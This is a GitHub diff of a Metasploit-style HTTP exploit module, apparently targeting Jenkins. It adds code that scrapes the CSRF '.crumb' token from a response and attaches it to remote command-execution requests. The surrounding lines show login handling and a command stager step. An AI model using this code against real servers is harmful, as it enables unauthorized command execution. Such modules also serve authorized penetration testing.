File tree Expand file tree Collapse file tree 1 file changed +7
-0
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +7
-0
lines changed Original file line number Diff line number Diff line change @@ -80,6 +80,7 @@ def http_send_command(cmd, opts = {})
80
80
}
81
81
}
82
82
request_parameters [ 'cookie' ] = @cookie if @cookie != nil
83
+ request_parameters [ 'vars_post' ] [ '.crumb' ] = @crumb if @crumb != nil
83
84
res = send_request_cgi ( request_parameters )
84
85
if not ( res and res . code == 200 )
85
86
fail_with ( Failure ::Unknown , 'Failed to execute the command.' )
@@ -145,6 +146,7 @@ def exploit
145
146
fail_with ( Failure ::Unknown ) if not res
146
147
147
148
@cookie = nil
149
+ @crumb = nil
148
150
if res . code != 200
149
151
print_status ( 'Logging in...' )
150
152
res = send_request_cgi ( {
@@ -167,6 +169,11 @@ def exploit
167
169
print_status ( 'No authentication required, skipping login...' )
168
170
end
169
171
172
+ if ( res . body =~ /"\. crumb", "([a-z0-9]*)"/ )
173
+ print_status ( "Using CSRF token: '#{ $1} '" ) ;
174
+ @crumb = $1;
175
+ end
176
+
170
177
case target [ 'Platform' ]
171
178
when 'win'
172
179
print_status ( "#{ rhost } :#{ rport } - Sending command stager..." )
You can’t perform that action at this time.
0 commit comments